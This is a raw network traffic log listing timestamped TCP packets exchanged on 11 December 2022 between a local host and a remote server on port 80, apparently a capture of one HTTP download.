Dec 11, 2022 09:25:55.006866932 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006915092 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006947994 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006983042 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007004976 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.007016897 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007051945 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007055044 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.007086039 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007117987 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007136106 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.007152081 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007186890 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007193089 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.007220984 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007253885 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007287979 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007297993 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.007322073 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007354021 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007388115 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007391930 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.007422924 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007456064 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007489920 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007519007 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.007523060 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007556915 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007585049 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.007590055 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007622957 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007672071 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007705927 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007740021 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007745981 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.007772923 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007806063 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007852077 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.007855892 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007889986 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007925034 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007941008 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.007958889 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.007968903 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.007993937 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008027077 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008059978 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008085966 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.008094072 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008121967 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.008127928 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008160114 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008174896 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.008193970 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008240938 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008263111 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.008275032 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008310080 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008313894 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.008344889 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008378029 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008420944 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008454084 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008461952 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.008487940 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008531094 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008564949 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008606911 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008634090 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.008641005 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008675098 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008717060 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008738041 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.008750916 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008785963 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008826971 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008846045 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.008861065 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008893967 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008896112 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.008940935 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008960009 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008992910 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.008994102 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.009020090 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.009027004 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.009059906 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.009102106 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.009135008 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.009181023 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.009186983 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.009288073 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.029253006 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029315948 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029351950 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029386044 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029412985 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.029431105 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029450893 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.029469013 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029504061 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029546022 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029566050 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.029580116 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029618979 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029635906 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.029647112 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029683113 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.029684067 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029711962 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029747009 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029759884 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.029783010 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029824972 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029859066 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029894114 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029896021 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.029928923 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029963970 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.029998064 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030004978 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.030031919 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030066013 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030107975 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030133963 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.030141115 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030175924 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030200005 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.030210018 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030244112 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030276060 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030304909 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.030308962 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030342102 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030388117 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030420065 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030453920 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030477047 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.030488014 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030524015 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030527115 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.030556917 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030590057 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030594110 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.030623913 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030657053 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030698061 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030721903 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.030733109 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030766964 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030808926 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030833960 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.030843973 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030900002 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030926943 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.030951023 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.030968904 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.030986071 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031030893 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031059027 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.031059980 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031094074 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031126022 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031172991 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031194925 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.031207085 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031239986 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031272888 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031275034 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.031306982 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031330109 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.031351089 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031394958 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031428099 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031474113 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031503916 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.031507015 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031541109 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031583071 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031605959 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.031616926 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031660080 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031685114 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.031694889 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031729937 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031771898 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031805038 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031822920 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.031847954 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031868935 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.031882048 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031914949 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031955957 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.031979084 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.031989098 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032022953 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032063961 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032084942 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.032097101 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032130003 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032175064 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032196045 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.032208920 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032241106 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032284021 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032306910 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.032318115 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032351971 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032392979 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032414913 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.032427073 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032459021 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032501936 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032521963 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.032536983 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032568932 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032613039 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.032630920 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.032644987 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.033341885 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.280713081 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.280791998 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.752965927 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.754667044 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.051403999 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.071665049 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.071724892 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.071768999 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.071810961 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.071856976 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.071899891 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.071898937 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.071943998 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.071962118 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.071989059 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.072031975 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.072058916 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.072077036 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.072141886 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.092514038 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.092578888 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.092623949 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.092668056 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.092664957 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.092711926 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.092756987 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.092777014 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.092803001 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.092845917 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.092890024 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.092911959 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.092911959 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.092936039 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.092979908 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.093023062 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.093051910 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.093066931 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.093077898 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.093112946 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.093158007 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.093210936 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.093228102 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.093257904 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.093277931 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.093302011 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.093344927 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.093363047 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.093403101 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.093466997 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.113415956 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.113481998 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.113529921 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.113573074 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.113625050 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.113646984 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.113667965 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.113713980 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.113724947 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.113725901 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.113759041 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.113802910 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.113847971 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.113869905 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.113894939 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.113938093 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.113981009 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114013910 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.114026070 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114068985 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114090919 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.114104986 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114146948 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114165068 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.114192009 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114242077 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114253044 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.114284039 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114326954 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114370108 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114392996 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.114413023 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114454985 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114505053 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114527941 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.114571095 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114614010 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114638090 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.114661932 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114706039 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114722967 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.114749908 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114792109 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114834070 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114852905 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.114900112 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.114959955 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.114960909 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.115004063 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.115052938 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.115055084 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.115096092 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.115139008 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.115154028 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.115196943 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.115243912 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.115287066 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.115355968 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.135221004 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135291100 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135338068 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135384083 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135430098 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135449886 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.135473013 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135509014 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.135525942 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.135535002 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135591030 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135636091 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135657072 CET	49719	80	192.168.2.3	131.188.40.189
